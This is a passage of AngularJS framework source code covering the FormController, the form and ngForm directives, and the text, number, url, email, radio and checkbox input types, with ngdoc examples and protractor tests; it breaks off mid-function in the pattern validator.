16126 controls = [];
16127
16128 // init state
16129 form.$name = attrs.name || attrs.ngForm;
16130 form.$dirty = false;
16131 form.$pristine = true;
16132 form.$valid = true;
16133 form.$invalid = false;
16134
16135 parentForm.$addControl(form);
16136
16137 // Setup initial state of the control
16138 element.addClass(PRISTINE_CLASS);
16139 toggleValidCss(true);
16140
16141 // convenience method for easy toggling of classes
16142 function toggleValidCss(isValid, validationErrorKey) {
16143 validationErrorKey = validationErrorKey ? '-' + snake_case(validationErrorKey, '-') : '';
16144 $animate.removeClass(element, (isValid ? INVALID_CLASS : VALID_CLASS) + validationErrorKey);
16145 $animate.addClass(element, (isValid ? VALID_CLASS : INVALID_CLASS) + validationErrorKey);
16146 }
16147
16148 /**
16149 * @ngdoc method
16150 * @name form.FormController#$addControl
16151 *
16152 * @description
16153 * Register a control with the form.
16154 *
16155 * Input elements using ngModelController do this automatically when they are linked.
16156 */
16157 form.$addControl = function(control) {
16158 // Breaking change - before, inputs whose name was "hasOwnProperty" were quietly ignored
16159 // and not added to the scope. Now we throw an error.
16160 assertNotHasOwnProperty(control.$name, 'input');
16161 controls.push(control);
16162
16163 if (control.$name) {
16164 form[control.$name] = control;
16165 }
16166 };
16167
16168 /**
16169 * @ngdoc method
16170 * @name form.FormController#$removeControl
16171 *
16172 * @description
16173 * Deregister a control from the form.
16174 *
16175 * Input elements using ngModelController do this automatically when they are destroyed.
16176 */
16177 form.$removeControl = function(control) {
16178 if (control.$name && form[control.$name] === control) {
16179 delete form[control.$name];
16180 }
16181 forEach(errors, function(queue, validationToken) {
16182 form.$setValidity(validationToken, true, control);
16183 });
16184
16185 arrayRemove(controls, control);
16186 };
16187
16188 /**
16189 * @ngdoc method
16190 * @name form.FormController#$setValidity
16191 *
16192 * @description
16193 * Sets the validity of a form control.
16194 *
16195 * This method will also propagate to parent forms.
16196 */
16197 form.$setValidity = function(validationToken, isValid, control) {
16198 var queue = errors[validationToken];
16199
16200 if (isValid) {
16201 if (queue) {
16202 arrayRemove(queue, control);
16203 if (!queue.length) {
16204 invalidCount--;
16205 if (!invalidCount) {
16206 toggleValidCss(isValid);
16207 form.$valid = true;
16208 form.$invalid = false;
16209 }
16210 errors[validationToken] = false;
16211 toggleValidCss(true, validationToken);
16212 parentForm.$setValidity(validationToken, true, form);
16213 }
16214 }
16215
16216 } else {
16217 if (!invalidCount) {
16218 toggleValidCss(isValid);
16219 }
16220 if (queue) {
16221 if (includes(queue, control)) return;
16222 } else {
16223 errors[validationToken] = queue = [];
16224 invalidCount++;
16225 toggleValidCss(false, validationToken);
16226 parentForm.$setValidity(validationToken, false, form);
16227 }
16228 queue.push(control);
16229
16230 form.$valid = false;
16231 form.$invalid = true;
16232 }
16233 };
16234
16235 /**
16236 * @ngdoc method
16237 * @name form.FormController#$setDirty
16238 *
16239 * @description
16240 * Sets the form to a dirty state.
16241 *
16242 * This method can be called to add the 'ng-dirty' class and set the form to a dirty
16243 * state (ng-dirty class). This method will also propagate to parent forms.
16244 */
16245 form.$setDirty = function() {
16246 $animate.removeClass(element, PRISTINE_CLASS);
16247 $animate.addClass(element, DIRTY_CLASS);
16248 form.$dirty = true;
16249 form.$pristine = false;
16250 parentForm.$setDirty();
16251 };
16252
16253 /**
16254 * @ngdoc method
16255 * @name form.FormController#$setPristine
16256 *
16257 * @description
16258 * Sets the form to its pristine state.
16259 *
16260 * This method can be called to remove the 'ng-dirty' class and set the form to its pristine
16261 * state (ng-pristine class). This method will also propagate to all the controls contained
16262 * in this form.
16263 *
16264 * Setting a form back to a pristine state is often useful when we want to 'reuse' a form after
16265 * saving or resetting it.
16266 */
16267 form.$setPristine = function () {
16268 $animate.removeClass(element, DIRTY_CLASS);
16269 $animate.addClass(element, PRISTINE_CLASS);
16270 form.$dirty = false;
16271 form.$pristine = true;
16272 forEach(controls, function(control) {
16273 control.$setPristine();
16274 });
16275 };
16276 }
16277
16278
16279 /**
16280 * @ngdoc directive
16281 * @name ngForm
16282 * @restrict EAC
16283 *
16284 * @description
16285 * Nestable alias of {@link ng.directive:form `form`} directive. HTML
16286 * does not allow nesting of form elements. It is useful to nest forms, for example if the validity of a
16287 * sub-group of controls needs to be determined.
16288 *
16289 * Note: the purpose of `ngForm` is to group controls,
16290 * but not to be a replacement for the `<form>` tag with all of its capabilities
16291 * (e.g. posting to the server, ...).
16292 *
16293 * @param {string=} ngForm|name Name of the form. If specified, the form controller will be published into
16294 * related scope, under this name.
16295 *
16296 */
16297
16298 /**
16299 * @ngdoc directive
16300 * @name form
16301 * @restrict E
16302 *
16303 * @description
16304 * Directive that instantiates
16305 * {@link form.FormController FormController}.
16306 *
16307 * If the `name` attribute is specified, the form controller is published onto the current scope under
16308 * this name.
16309 *
16310 * # Alias: {@link ng.directive:ngForm `ngForm`}
16311 *
16312 * In Angular forms can be nested. This means that the outer form is valid when all of the child
16313 * forms are valid as well. However, browsers do not allow nesting of `<form>` elements, so
16314 * Angular provides the {@link ng.directive:ngForm `ngForm`} directive which behaves identically to
16315 * `<form>` but can be nested. This allows you to have nested forms, which is very useful when
16316 * using Angular validation directives in forms that are dynamically generated using the
16317 * {@link ng.directive:ngRepeat `ngRepeat`} directive. Since you cannot dynamically generate the `name`
16318 * attribute of input elements using interpolation, you have to wrap each set of repeated inputs in an
16319 * `ngForm` directive and nest these in an outer `form` element.
16320 *
16321 *
16322 * # CSS classes
16323 * - `ng-valid` is set if the form is valid.
16324 * - `ng-invalid` is set if the form is invalid.
16325 * - `ng-pristine` is set if the form is pristine.
16326 * - `ng-dirty` is set if the form is dirty.
16327 *
16328 * Keep in mind that ngAnimate can detect each of these classes when added and removed.
16329 *
16330 *
16331 * # Submitting a form and preventing the default action
16332 *
16333 * Since the role of forms in client-side Angular applications is different than in classical
16334 * roundtrip apps, it is desirable for the browser not to translate the form submission into a full
16335 * page reload that sends the data to the server. Instead some javascript logic should be triggered
16336 * to handle the form submission in an application-specific way.
16337 *
16338 * For this reason, Angular prevents the default action (form submission to the server) unless the
16339 * `<form>` element has an `action` attribute specified.
16340 *
16341 * You can use one of the following two ways to specify what javascript method should be called when
16342 * a form is submitted:
16343 *
16344 * - {@link ng.directive:ngSubmit ngSubmit} directive on the form element
16345 * - {@link ng.directive:ngClick ngClick} directive on the first
16346 * button or input field of type submit (input[type=submit])
16347 *
16348 * To prevent double execution of the handler, use only one of the {@link ng.directive:ngSubmit ngSubmit}
16349 * or {@link ng.directive:ngClick ngClick} directives.
16350 * This is because of the following form submission rules in the HTML specification:
16351 *
16352 * - If a form has only one input field then hitting enter in this field triggers form submit
16353 * (`ngSubmit`)
16354 * - if a form has 2+ input fields and no buttons or input[type=submit] then hitting enter
16355 * doesn't trigger submit
16356 * - if a form has one or more input fields and one or more buttons or input[type=submit] then
16357 * hitting enter in any of the input fields will trigger the click handler on the *first* button or
16358 * input[type=submit] (`ngClick`) *and* a submit handler on the enclosing form (`ngSubmit`)
16359 *
16360 * @param {string=} name Name of the form. If specified, the form controller will be published into
16361 * related scope, under this name.
16362 *
16363 * ## Animation Hooks
16364 *
16365 * Animations in ngForm are triggered when any of the associated CSS classes are added and removed.
16366 * These classes are: `.ng-pristine`, `.ng-dirty`, `.ng-invalid` and `.ng-valid` as well as any
16367 * other validations that are performed within the form. Animations in ngForm are similar to how
16368 * they work in ngClass and animations can be hooked into using CSS transitions, keyframes as well
16369 * as JS animations.
16370 *
16371 * The following example shows a simple way to utilize CSS transitions to style a form element
16372 * that has been rendered as invalid after it has been validated:
16373 *
16374 * <pre>
16375 * //be sure to include ngAnimate as a module to hook into more
16376 * //advanced animations
16377 * .my-form {
16378 * transition:0.5s linear all;
16379 * background: white;
16380 * }
16381 * .my-form.ng-invalid {
16382 * background: red;
16383 * color:white;
16384 * }
16385 * </pre>
16386 *
16387 * @example
16388 <example deps="angular-animate.js" animations="true" fixBase="true" module="formExample">
16389 <file name="index.html">
16390 <script>
16391 angular.module('formExample', [])
16392 .controller('FormController', ['$scope', function($scope) {
16393 $scope.userType = 'guest';
16394 }]);
16395 </script>
16396 <style>
16397 .my-form {
16398 -webkit-transition:all linear 0.5s;
16399 transition:all linear 0.5s;
16400 background: transparent;
16401 }
16402 .my-form.ng-invalid {
16403 background: red;
16404 }
16405 </style>
16406 <form name="myForm" ng-controller="FormController" class="my-form">
16407 userType: <input name="input" ng-model="userType" required>
16408 <span class="error" ng-show="myForm.input.$error.required">Required!</span><br>
16409 <tt>userType = {{userType}}</tt><br>
16410 <tt>myForm.input.$valid = {{myForm.input.$valid}}</tt><br>
16411 <tt>myForm.input.$error = {{myForm.input.$error}}</tt><br>
16412 <tt>myForm.$valid = {{myForm.$valid}}</tt><br>
16413 <tt>myForm.$error.required = {{!!myForm.$error.required}}</tt><br>
16414 </form>
16415 </file>
16416 <file name="protractor.js" type="protractor">
16417 it('should initialize to model', function() {
16418 var userType = element(by.binding('userType'));
16419 var valid = element(by.binding('myForm.input.$valid'));
16420
16421 expect(userType.getText()).toContain('guest');
16422 expect(valid.getText()).toContain('true');
16423 });
16424
16425 it('should be invalid if empty', function() {
16426 var userType = element(by.binding('userType'));
16427 var valid = element(by.binding('myForm.input.$valid'));
16428 var userInput = element(by.model('userType'));
16429
16430 userInput.clear();
16431 userInput.sendKeys('');
16432
16433 expect(userType.getText()).toEqual('userType =');
16434 expect(valid.getText()).toContain('false');
16435 });
16436 </file>
16437 </example>
16438 *
16439 */
16440 var formDirectiveFactory = function(isNgForm) {
16441 return ['$timeout', function($timeout) {
16442 var formDirective = {
16443 name: 'form',
16444 restrict: isNgForm ? 'EAC' : 'E',
16445 controller: FormController,
16446 compile: function() {
16447 return {
16448 pre: function(scope, formElement, attr, controller) {
16449 if (!attr.action) {
16450 // we can't use jq events because if a form is destroyed during submission the default
16451 // action is not prevented. see #1238
16452 //
16453 // IE 9 is not affected because it doesn't fire a submit event and try to do a full
16454 // page reload if the form was destroyed by submission of the form via a click handler
16455 // on a button in the form. Looks like an IE9 specific bug.
16456 var preventDefaultListener = function(event) {
16457 event.preventDefault
16458 ? event.preventDefault()
16459 : event.returnValue = false; // IE
16460 };
16461
16462 addEventListenerFn(formElement[0], 'submit', preventDefaultListener);
16463
16464 // unregister the preventDefault listener so that we don't not leak memory but in a
16465 // way that will achieve the prevention of the default action.
16466 formElement.on('$destroy', function() {
16467 $timeout(function() {
16468 removeEventListenerFn(formElement[0], 'submit', preventDefaultListener);
16469 }, 0, false);
16470 });
16471 }
16472
16473 var parentFormCtrl = formElement.parent().controller('form'),
16474 alias = attr.name || attr.ngForm;
16475
16476 if (alias) {
16477 setter(scope, alias, controller, alias);
16478 }
16479 if (parentFormCtrl) {
16480 formElement.on('$destroy', function() {
16481 parentFormCtrl.$removeControl(controller);
16482 if (alias) {
16483 setter(scope, alias, undefined, alias);
16484 }
16485 extend(controller, nullFormCtrl); //stop propagating child destruction handlers upwards
16486 });
16487 }
16488 }
16489 };
16490 }
16491 };
16492
16493 return formDirective;
16494 }];
16495 };
16496
16497 var formDirective = formDirectiveFactory();
16498 var ngFormDirective = formDirectiveFactory(true);
16499
16500 /* global VALID_CLASS: true,
16501 INVALID_CLASS: true,
16502 PRISTINE_CLASS: true,
16503 DIRTY_CLASS: true
16504 */
16505
16506 var URL_REGEXP = /^(ftp|http|https):\/\/(\w+:{0,1}\w*@)?(\S+)(:[0-9]+)?(\/|\/([\w#!:.?+=&%@!\-\/]))?$/;
16507 var EMAIL_REGEXP = /^[a-z0-9!#$%&'*+\/=?^_`{|}~.-]+@[a-z0-9]([a-z0-9-]*[a-z0-9])?(\.[a-z0-9]([a-z0-9-]*[a-z0-9])?)*$/i;
16508 var NUMBER_REGEXP = /^\s*(\-|\+)?(\d+|(\d*(\.\d*)))\s*$/;
16509
16510 var inputType = {
16511
16512 /**
16513 * @ngdoc input
16514 * @name input[text]
16515 *
16516 * @description
16517 * Standard HTML text input with angular data binding, inherited by most of the `input` elements.
16518 *
16519 * *NOTE* Not every feature offered is available for all input types.
16520 *
16521 * @param {string} ngModel Assignable angular expression to data-bind to.
16522 * @param {string=} name Property name of the form under which the control is published.
16523 * @param {string=} required Adds `required` validation error key if the value is not entered.
16524 * @param {string=} ngRequired Adds `required` attribute and `required` validation constraint to
16525 * the element when the ngRequired expression evaluates to true. Use `ngRequired` instead of
16526 * `required` when you want to data-bind to the `required` attribute.
16527 * @param {number=} ngMinlength Sets `minlength` validation error key if the value is shorter than
16528 * minlength.
16529 * @param {number=} ngMaxlength Sets `maxlength` validation error key if the value is longer than
16530 * maxlength.
16531 * @param {string=} ngPattern Sets `pattern` validation error key if the value does not match the
16532 * RegExp pattern expression. Expected value is `/regexp/` for inline patterns or `regexp` for
16533 * patterns defined as scope expressions.
16534 * @param {string=} ngChange Angular expression to be executed when input changes due to user
16535 * interaction with the input element.
16536 * @param {boolean=} [ngTrim=true] If set to false Angular will not automatically trim the input.
16537 * This parameter is ignored for input[type=password] controls, which will never trim the
16538 * input.
16539 *
16540 * @example
16541 <example name="text-input-directive" module="textInputExample">
16542 <file name="index.html">
16543 <script>
16544 angular.module('textInputExample', [])
16545 .controller('ExampleController', ['$scope', function($scope) {
16546 $scope.text = 'guest';
16547 $scope.word = /^\s*\w*\s*$/;
16548 }]);
16549 </script>
16550 <form name="myForm" ng-controller="ExampleController">
16551 Single word: <input type="text" name="input" ng-model="text"
16552 ng-pattern="word" required ng-trim="false">
16553 <span class="error" ng-show="myForm.input.$error.required">
16554 Required!</span>
16555 <span class="error" ng-show="myForm.input.$error.pattern">
16556 Single word only!</span>
16557
16558 <tt>text = {{text}}</tt><br/>
16559 <tt>myForm.input.$valid = {{myForm.input.$valid}}</tt><br/>
16560 <tt>myForm.input.$error = {{myForm.input.$error}}</tt><br/>
16561 <tt>myForm.$valid = {{myForm.$valid}}</tt><br/>
16562 <tt>myForm.$error.required = {{!!myForm.$error.required}}</tt><br/>
16563 </form>
16564 </file>
16565 <file name="protractor.js" type="protractor">
16566 var text = element(by.binding('text'));
16567 var valid = element(by.binding('myForm.input.$valid'));
16568 var input = element(by.model('text'));
16569
16570 it('should initialize to model', function() {
16571 expect(text.getText()).toContain('guest');
16572 expect(valid.getText()).toContain('true');
16573 });
16574
16575 it('should be invalid if empty', function() {
16576 input.clear();
16577 input.sendKeys('');
16578
16579 expect(text.getText()).toEqual('text =');
16580 expect(valid.getText()).toContain('false');
16581 });
16582
16583 it('should be invalid if multi word', function() {
16584 input.clear();
16585 input.sendKeys('hello world');
16586
16587 expect(valid.getText()).toContain('false');
16588 });
16589 </file>
16590 </example>
16591 */
16592 'text': textInputType,
16593
16594
16595 /**
16596 * @ngdoc input
16597 * @name input[number]
16598 *
16599 * @description
16600 * Text input with number validation and transformation. Sets the `number` validation
16601 * error if not a valid number.
16602 *
16603 * @param {string} ngModel Assignable angular expression to data-bind to.
16604 * @param {string=} name Property name of the form under which the control is published.
16605 * @param {string=} min Sets the `min` validation error key if the value entered is less than `min`.
16606 * @param {string=} max Sets the `max` validation error key if the value entered is greater than `max`.
16607 * @param {string=} required Sets `required` validation error key if the value is not entered.
16608 * @param {string=} ngRequired Adds `required` attribute and `required` validation constraint to
16609 * the element when the ngRequired expression evaluates to true. Use `ngRequired` instead of
16610 * `required` when you want to data-bind to the `required` attribute.
16611 * @param {number=} ngMinlength Sets `minlength` validation error key if the value is shorter than
16612 * minlength.
16613 * @param {number=} ngMaxlength Sets `maxlength` validation error key if the value is longer than
16614 * maxlength.
16615 * @param {string=} ngPattern Sets `pattern` validation error key if the value does not match the
16616 * RegExp pattern expression. Expected value is `/regexp/` for inline patterns or `regexp` for
16617 * patterns defined as scope expressions.
16618 * @param {string=} ngChange Angular expression to be executed when input changes due to user
16619 * interaction with the input element.
16620 *
16621 * @example
16622 <example name="number-input-directive" module="numberExample">
16623 <file name="index.html">
16624 <script>
16625 angular.module('numberExample', [])
16626 .controller('ExampleController', ['$scope', function($scope) {
16627 $scope.value = 12;
16628 }]);
16629 </script>
16630 <form name="myForm" ng-controller="ExampleController">
16631 Number: <input type="number" name="input" ng-model="value"
16632 min="0" max="99" required>
16633 <span class="error" ng-show="myForm.input.$error.required">
16634 Required!</span>
16635 <span class="error" ng-show="myForm.input.$error.number">
16636 Not valid number!</span>
16637 <tt>value = {{value}}</tt><br/>
16638 <tt>myForm.input.$valid = {{myForm.input.$valid}}</tt><br/>
16639 <tt>myForm.input.$error = {{myForm.input.$error}}</tt><br/>
16640 <tt>myForm.$valid = {{myForm.$valid}}</tt><br/>
16641 <tt>myForm.$error.required = {{!!myForm.$error.required}}</tt><br/>
16642 </form>
16643 </file>
16644 <file name="protractor.js" type="protractor">
16645 var value = element(by.binding('value'));
16646 var valid = element(by.binding('myForm.input.$valid'));
16647 var input = element(by.model('value'));
16648
16649 it('should initialize to model', function() {
16650 expect(value.getText()).toContain('12');
16651 expect(valid.getText()).toContain('true');
16652 });
16653
16654 it('should be invalid if empty', function() {
16655 input.clear();
16656 input.sendKeys('');
16657 expect(value.getText()).toEqual('value =');
16658 expect(valid.getText()).toContain('false');
16659 });
16660
16661 it('should be invalid if over max', function() {
16662 input.clear();
16663 input.sendKeys('123');
16664 expect(value.getText()).toEqual('value =');
16665 expect(valid.getText()).toContain('false');
16666 });
16667 </file>
16668 </example>
16669 */
16670 'number': numberInputType,
16671
16672
16673 /**
16674 * @ngdoc input
16675 * @name input[url]
16676 *
16677 * @description
16678 * Text input with URL validation. Sets the `url` validation error key if the content is not a
16679 * valid URL.
16680 *
16681 * @param {string} ngModel Assignable angular expression to data-bind to.
16682 * @param {string=} name Property name of the form under which the control is published.
16683 * @param {string=} required Sets `required` validation error key if the value is not entered.
16684 * @param {string=} ngRequired Adds `required` attribute and `required` validation constraint to
16685 * the element when the ngRequired expression evaluates to true. Use `ngRequired` instead of
16686 * `required` when you want to data-bind to the `required` attribute.
16687 * @param {number=} ngMinlength Sets `minlength` validation error key if the value is shorter than
16688 * minlength.
16689 * @param {number=} ngMaxlength Sets `maxlength` validation error key if the value is longer than
16690 * maxlength.
16691 * @param {string=} ngPattern Sets `pattern` validation error key if the value does not match the
16692 * RegExp pattern expression. Expected value is `/regexp/` for inline patterns or `regexp` for
16693 * patterns defined as scope expressions.
16694 * @param {string=} ngChange Angular expression to be executed when input changes due to user
16695 * interaction with the input element.
16696 *
16697 * @example
16698 <example name="url-input-directive" module="urlExample">
16699 <file name="index.html">
16700 <script>
16701 angular.module('urlExample', [])
16702 .controller('ExampleController', ['$scope', function($scope) {
16703 $scope.text = 'http://google.com';
16704 }]);
16705 </script>
16706 <form name="myForm" ng-controller="ExampleController">
16707 URL: <input type="url" name="input" ng-model="text" required>
16708 <span class="error" ng-show="myForm.input.$error.required">
16709 Required!</span>
16710 <span class="error" ng-show="myForm.input.$error.url">
16711 Not valid url!</span>
16712 <tt>text = {{text}}</tt><br/>
16713 <tt>myForm.input.$valid = {{myForm.input.$valid}}</tt><br/>
16714 <tt>myForm.input.$error = {{myForm.input.$error}}</tt><br/>
16715 <tt>myForm.$valid = {{myForm.$valid}}</tt><br/>
16716 <tt>myForm.$error.required = {{!!myForm.$error.required}}</tt><br/>
16717 <tt>myForm.$error.url = {{!!myForm.$error.url}}</tt><br/>
16718 </form>
16719 </file>
16720 <file name="protractor.js" type="protractor">
16721 var text = element(by.binding('text'));
16722 var valid = element(by.binding('myForm.input.$valid'));
16723 var input = element(by.model('text'));
16724
16725 it('should initialize to model', function() {
16726 expect(text.getText()).toContain('http://google.com');
16727 expect(valid.getText()).toContain('true');
16728 });
16729
16730 it('should be invalid if empty', function() {
16731 input.clear();
16732 input.sendKeys('');
16733
16734 expect(text.getText()).toEqual('text =');
16735 expect(valid.getText()).toContain('false');
16736 });
16737
16738 it('should be invalid if not url', function() {
16739 input.clear();
16740 input.sendKeys('box');
16741
16742 expect(valid.getText()).toContain('false');
16743 });
16744 </file>
16745 </example>
16746 */
16747 'url': urlInputType,
16748
16749
16750 /**
16751 * @ngdoc input
16752 * @name input[email]
16753 *
16754 * @description
16755 * Text input with email validation. Sets the `email` validation error key if not a valid email
16756 * address.
16757 *
16758 * @param {string} ngModel Assignable angular expression to data-bind to.
16759 * @param {string=} name Property name of the form under which the control is published.
16760 * @param {string=} required Sets `required` validation error key if the value is not entered.
16761 * @param {string=} ngRequired Adds `required` attribute and `required` validation constraint to
16762 * the element when the ngRequired expression evaluates to true. Use `ngRequired` instead of
16763 * `required` when you want to data-bind to the `required` attribute.
16764 * @param {number=} ngMinlength Sets `minlength` validation error key if the value is shorter than
16765 * minlength.
16766 * @param {number=} ngMaxlength Sets `maxlength` validation error key if the value is longer than
16767 * maxlength.
16768 * @param {string=} ngPattern Sets `pattern` validation error key if the value does not match the
16769 * RegExp pattern expression. Expected value is `/regexp/` for inline patterns or `regexp` for
16770 * patterns defined as scope expressions.
16771 * @param {string=} ngChange Angular expression to be executed when input changes due to user
16772 * interaction with the input element.
16773 *
16774 * @example
16775 <example name="email-input-directive" module="emailExample">
16776 <file name="index.html">
16777 <script>
16778 angular.module('emailExample', [])
16779 .controller('ExampleController', ['$scope', function($scope) {
16780 $scope.text = '[email protected]';
16781 }]);
16782 </script>
16783 <form name="myForm" ng-controller="ExampleController">
16784 Email: <input type="email" name="input" ng-model="text" required>
16785 <span class="error" ng-show="myForm.input.$error.required">
16786 Required!</span>
16787 <span class="error" ng-show="myForm.input.$error.email">
16788 Not valid email!</span>
16789 <tt>text = {{text}}</tt><br/>
16790 <tt>myForm.input.$valid = {{myForm.input.$valid}}</tt><br/>
16791 <tt>myForm.input.$error = {{myForm.input.$error}}</tt><br/>
16792 <tt>myForm.$valid = {{myForm.$valid}}</tt><br/>
16793 <tt>myForm.$error.required = {{!!myForm.$error.required}}</tt><br/>
16794 <tt>myForm.$error.email = {{!!myForm.$error.email}}</tt><br/>
16795 </form>
16796 </file>
16797 <file name="protractor.js" type="protractor">
16798 var text = element(by.binding('text'));
16799 var valid = element(by.binding('myForm.input.$valid'));
16800 var input = element(by.model('text'));
16801
16802 it('should initialize to model', function() {
16803 expect(text.getText()).toContain('[email protected]');
16804 expect(valid.getText()).toContain('true');
16805 });
16806
16807 it('should be invalid if empty', function() {
16808 input.clear();
16809 input.sendKeys('');
16810 expect(text.getText()).toEqual('text =');
16811 expect(valid.getText()).toContain('false');
16812 });
16813
16814 it('should be invalid if not email', function() {
16815 input.clear();
16816 input.sendKeys('xxx');
16817
16818 expect(valid.getText()).toContain('false');
16819 });
16820 </file>
16821 </example>
16822 */
16823 'email': emailInputType,
16824
16825
16826 /**
16827 * @ngdoc input
16828 * @name input[radio]
16829 *
16830 * @description
16831 * HTML radio button.
16832 *
16833 * @param {string} ngModel Assignable angular expression to data-bind to.
16834 * @param {string} value The value to which the expression should be set when selected.
16835 * @param {string=} name Property name of the form under which the control is published.
16836 * @param {string=} ngChange Angular expression to be executed when input changes due to user
16837 * interaction with the input element.
16838 * @param {string} ngValue Angular expression which sets the value to which the expression should
16839 * be set when selected.
16840 *
16841 * @example
16842 <example name="radio-input-directive" module="radioExample">
16843 <file name="index.html">
16844 <script>
16845 angular.module('radioExample', [])
16846 .controller('ExampleController', ['$scope', function($scope) {
16847 $scope.color = 'blue';
16848 $scope.specialValue = {
16849 "id": "12345",
16850 "value": "green"
16851 };
16852 }]);
16853 </script>
16854 <form name="myForm" ng-controller="ExampleController">
16855 <input type="radio" ng-model="color" value="red"> Red <br/>
16856 <input type="radio" ng-model="color" ng-value="specialValue"> Green <br/>
16857 <input type="radio" ng-model="color" value="blue"> Blue <br/>
16858 <tt>color = {{color | json}}</tt><br/>
16859 </form>
16860 Note that `ng-value="specialValue"` sets radio item's value to be the value of `$scope.specialValue`.
16861 </file>
16862 <file name="protractor.js" type="protractor">
16863 it('should change state', function() {
16864 var color = element(by.binding('color'));
16865
16866 expect(color.getText()).toContain('blue');
16867
16868 element.all(by.model('color')).get(0).click();
16869
16870 expect(color.getText()).toContain('red');
16871 });
16872 </file>
16873 </example>
16874 */
16875 'radio': radioInputType,
16876
16877
16878 /**
16879 * @ngdoc input
16880 * @name input[checkbox]
16881 *
16882 * @description
16883 * HTML checkbox.
16884 *
16885 * @param {string} ngModel Assignable angular expression to data-bind to.
16886 * @param {string=} name Property name of the form under which the control is published.
16887 * @param {string=} ngTrueValue The value to which the expression should be set when selected.
16888 * @param {string=} ngFalseValue The value to which the expression should be set when not selected.
16889 * @param {string=} ngChange Angular expression to be executed when input changes due to user
16890 * interaction with the input element.
16891 *
16892 * @example
16893 <example name="checkbox-input-directive" module="checkboxExample">
16894 <file name="index.html">
16895 <script>
16896 angular.module('checkboxExample', [])
16897 .controller('ExampleController', ['$scope', function($scope) {
16898 $scope.value1 = true;
16899 $scope.value2 = 'YES'
16900 }]);
16901 </script>
16902 <form name="myForm" ng-controller="ExampleController">
16903 Value1: <input type="checkbox" ng-model="value1"> <br/>
16904 Value2: <input type="checkbox" ng-model="value2"
16905 ng-true-value="YES" ng-false-value="NO"> <br/>
16906 <tt>value1 = {{value1}}</tt><br/>
16907 <tt>value2 = {{value2}}</tt><br/>
16908 </form>
16909 </file>
16910 <file name="protractor.js" type="protractor">
16911 it('should change state', function() {
16912 var value1 = element(by.binding('value1'));
16913 var value2 = element(by.binding('value2'));
16914
16915 expect(value1.getText()).toContain('true');
16916 expect(value2.getText()).toContain('YES');
16917
16918 element(by.model('value1')).click();
16919 element(by.model('value2')).click();
16920
16921 expect(value1.getText()).toContain('false');
16922 expect(value2.getText()).toContain('NO');
16923 });
16924 </file>
16925 </example>
16926 */
16927 'checkbox': checkboxInputType,
16928
16929 'hidden': noop,
16930 'button': noop,
16931 'submit': noop,
16932 'reset': noop,
16933 'file': noop
16934 };
16935
16936 // A helper function to call $setValidity and return the value / undefined,
16937 // a pattern that is repeated a lot in the input validation logic.
16938 function validate(ctrl, validatorName, validity, value){
16939 ctrl.$setValidity(validatorName, validity);
16940 return validity ? value : undefined;
16941 }
16942
16943 function testFlags(validity, flags) {
16944 var i, flag;
16945 if (flags) {
16946 for (i=0; i<flags.length; ++i) {
16947 flag = flags[i];
16948 if (validity[flag]) {
16949 return true;
16950 }
16951 }
16952 }
16953 return false;
16954 }
16955
16956 // Pass validity so that behaviour can be mocked easier.
16957 function addNativeHtml5Validators(ctrl, validatorName, badFlags, ignoreFlags, validity) {
16958 if (isObject(validity)) {
16959 ctrl.$$hasNativeValidators = true;
16960 var validator = function(value) {
16961 // Don't overwrite previous validation, don't consider valueMissing to apply (ng-required can
16962 // perform the required validation)
16963 if (!ctrl.$error[validatorName] &&
16964 !testFlags(validity, ignoreFlags) &&
16965 testFlags(validity, badFlags)) {
16966 ctrl.$setValidity(validatorName, false);
16967 return;
16968 }
16969 return value;
16970 };
16971 ctrl.$parsers.push(validator);
16972 }
16973 }
16974
16975 function textInputType(scope, element, attr, ctrl, $sniffer, $browser) {
16976 var validity = element.prop(VALIDITY_STATE_PROPERTY);
16977 var placeholder = element[0].placeholder, noevent = {};
16978 var type = lowercase(element[0].type);
16979 ctrl.$$validityState = validity;
16980
16981 // In composition mode, users are still inputing intermediate text buffer,
16982 // hold the listener until composition is done.
16983 // More about composition events: https://developer.mozilla.org/en-US/docs/Web/API/CompositionEvent
16984 if (!$sniffer.android) {
16985 var composing = false;
16986
16987 element.on('compositionstart', function(data) {
16988 composing = true;
16989 });
16990
16991 element.on('compositionend', function() {
16992 composing = false;
16993 listener();
16994 });
16995 }
16996
16997 var listener = function(ev) {
16998 if (composing) return;
16999 var value = element.val();
17000
17001 // IE (11 and under) seem to emit an 'input' event if the placeholder value changes.
17002 // We don't want to dirty the value when this happens, so we abort here. Unfortunately,
17003 // IE also sends input events for other non-input-related things, (such as focusing on a
17004 // form control), so this change is not entirely enough to solve this.
17005 if (msie && (ev || noevent).type === 'input' && element[0].placeholder !== placeholder) {
17006 placeholder = element[0].placeholder;
17007 return;
17008 }
17009
17010 // By default we will trim the value
17011 // If the attribute ng-trim exists we will avoid trimming
17012 // If input type is 'password', the value is never trimmed
17013 if (type !== 'password' && (toBoolean(attr.ngTrim || 'T'))) {
17014 value = trim(value);
17015 }
17016
17017 // If a control is suffering from bad input, browsers discard its value, so it may be
17018 // necessary to revalidate even if the control's value is the same empty value twice in
17019 // a row.
17020 var revalidate = validity && ctrl.$$hasNativeValidators;
17021 if (ctrl.$viewValue !== value || (value === '' && revalidate)) {
17022 if (scope.$$phase) {
17023 ctrl.$setViewValue(value);
17024 } else {
17025 scope.$apply(function() {
17026 ctrl.$setViewValue(value);
17027 });
17028 }
17029 }
17030 };
17031
17032 // if the browser does support "input" event, we are fine - except on IE9 which doesn't fire the
17033 // input event on backspace, delete or cut
17034 if ($sniffer.hasEvent('input')) {
17035 element.on('input', listener);
17036 } else {
17037 var timeout;
17038
17039 var deferListener = function() {
17040 if (!timeout) {
17041 timeout = $browser.defer(function() {
17042 listener();
17043 timeout = null;
17044 });
17045 }
17046 };
17047
17048 element.on('keydown', function(event) {
17049 var key = event.keyCode;
17050
17051 // ignore
17052 // command modifiers arrows
17053 if (key === 91 || (15 < key && key < 19) || (37 <= key && key <= 40)) return;
17054
17055 deferListener();
17056 });
17057
17058 // if user modifies input value using context menu in IE, we need "paste" and "cut" events to catch it
17059 if ($sniffer.hasEvent('paste')) {
17060 element.on('paste cut', deferListener);
17061 }
17062 }
17063
17064 // if user paste into input using mouse on older browser
17065 // or form autocomplete on newer browser, we need "change" event to catch it
17066 element.on('change', listener);
17067
17068 ctrl.$render = function() {
17069 element.val(ctrl.$isEmpty(ctrl.$viewValue) ? '' : ctrl.$viewValue);
17070 };
17071
17072 // pattern validator
17073 var pattern = attr.ngPattern,
17074 patternValidator,
17075 match;
17076
17077 if (pattern) {
17078 var validateRegex = function(regexp, value) {
